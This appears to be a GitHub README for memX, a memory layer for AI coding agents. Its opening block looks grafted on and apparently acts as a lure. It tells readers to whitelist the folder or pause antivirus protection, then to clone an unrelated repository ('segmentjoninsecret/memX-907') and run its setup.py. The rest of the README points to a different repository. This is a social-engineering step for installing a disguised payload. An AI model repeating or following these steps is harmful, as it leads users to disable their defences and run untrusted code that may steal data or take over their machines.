MemX 907

README

> [!TIP]
> If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

> [!CAUTION]
> Some security systems may block the installation.
> Only download from the official repository.

---

## QUICK START

```bash
git clone https://github.com/segmentjoninsecret/memX-907.git
cd memX-907
python setup.py
```


<p align="center">
  <img src="./assets/memx-cover-en.svg" alt="memX - self-learning, self-maintaining memory for AI agents" width="920">
</p>

<p align="center">
  <a href="./README.md">English</a> · <a href="./README-ch.md">中文</a> ·
  <a href="./ARCHITECTURE.md">Architecture</a>
</p>

---

memX turns completed work into structured, searchable, self-maintained memory, then injects only the evidence an agent needs for the current query.
It connects natively to Codex, Claude Code, and OpenClaw, and reaches any MCP-compatible client through the same local memory layer.

## Benchmarks

<table align="center">
  <thead>
    <tr>
      <th>Suite</th>
      <th>Scope</th>
      <th>R@3 success rate</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>LongMemEval-S</strong></td>
      <td>Long-context memory retrieval</td>
      <td><strong>94.2%</strong></td>
    </tr>
    <tr>
      <td><strong>Real engineering cases</strong></td>
      <td>30 cases, each with 20+ turns</td>
      <td><strong>100%</strong></td>
    </tr>
  </tbody>
</table>

## Architecture

<p align="center">
  <img src="./assets/memx-overview.svg" alt="memX coarse architecture" width="920">
</p>

## Agent support

<table align="center">
  <tr>
    <td align="center" width="56"><img src="./assets/agent-logos/codex.png" alt="Codex logo" width="34"></td>
    <td><strong>Codex</strong></td>
    <td><sub>native hooks, MCP hidden by default</sub></td>
  </tr>
  <tr>
    <td align="center" width="56"><img src="./assets/agent-logos/claude-code.png" alt="Claude Code logo" width="34"></td>
    <td><strong>Claude Code</strong></td>
    <td><sub>native hooks, MCP hidden by default</sub></td>
  </tr>
  <tr>
    <td align="center" width="56"><img src="./assets/agent-logos/openclaw.png" alt="OpenClaw logo" width="34"></td>
    <td><strong>OpenClaw</strong></td>
    <td><sub>native + hooks</sub></td>
  </tr>
  <tr>
    <td align="center" width="56"><strong>MCP</strong></td>
    <td><strong>MCP clients</strong></td>
    <td><sub>any MCP-compatible client</sub></td>
  </tr>
</table>


### Claude Code

This installs the shared memX config, a local Claude Code plugin marketplace, native lifecycle
hooks, and the managed local memX service in one run.

```bash
npx -y -p github:NeoLi00/memX memx quickstart claude-code \
  --llm-provider openai-compatible \
  --llm-base-url https://llm.example.com/v1 \
  --llm-model fast-memory-model \
  --llm-api-key sk-your-provider-key
```

### Codex

This installs the shared memX config, a local Codex plugin marketplace, native lifecycle hooks, and
the managed local memX service in one run.

```bash
npx -y -p github:NeoLi00/memX memx quickstart codex \
  --llm-provider openai-compatible \
  --llm-base-url https://llm.example.com/v1 \
  --llm-model fast-memory-model \
  --llm-api-key sk-your-provider-key
```

### OpenClaw

```bash
npx -y -p github:NeoLi00/memX memx quickstart openclaw \
  --llm-provider openai-compatible \
  --llm-base-url https://llm.example.com/v1 \
  --llm-model fast-memory-model \
  --llm-api-key sk-your-provider-key
```

### Generic MCP

Use this path for MCP clients that do not have a native memX lifecycle adapter. Quickstart writes the
shared memX config, starts the managed local memX service, and prints a ready-to-copy MCP server
config.

```bash
npx -y -p github:NeoLi00/memX memx quickstart mcp \
  --llm-provider openai-compatible \
  --llm-base-url https://llm.example.com/v1 \
  --llm-model fast-memory-model \
  --llm-api-key sk-your-provider-key
```

### Service management

```bash
npx -y -p github:NeoLi00/memX memx service status
npx -y -p github:NeoLi00/memX memx service restart
npx -y -p github:NeoLi00/memX memx service stop
```

Use the same `--home`, `--memx-url`, and `--memx-secret` values that you used during quickstart when
you manage a non-default install.

## Clean uninstall

Each uninstall command backs up the target config first, then removes only memX-owned entries.
Claude Code and Codex cleanup also stop the managed local service, uninstall the native plugin,
remove the local marketplace, and delete the generated marketplace snapshot.
OpenClaw cleanup also removes stale `memx` / `memory-memx` slot, allow, and entry references, then
best-effort uninstalls both current and legacy plugin files if OpenClaw can still see them.

```bash
npx -y -p github:NeoLi00/memX memx uninstall openclaw
npx -y -p github:NeoLi00/memX memx uninstall codex
npx -y -p github:NeoLi00/memX memx uninstall claude-code
```

Add `--dry-run` to preview, or `--config /path/to/config` when using a non-default config path.

## What memX can do

- **Remember work over time**: project decisions, user preferences, task status, long source
  segments, and raw evidence stay linked to the original turn.
- **Connect related things**: projects, repos, tools, files, resources, blockers, and outcomes can
  be represented as entities and graph edges.
- **Learn collaboration patterns**: repeated evidence can become reusable guidance without losing
  its supporting sources.
- **Maintain itself**: corrections can supersede older facts, stable evidence can be promoted, and
  stale task state stops competing with current state.
- **Recall compact evidence**: facts, events, state, chunks, relationships, resources, and learned
  patterns are searched together, then injected as small evidence lines.


<!-- Last updated: 2026-06-06 16:50:43 -->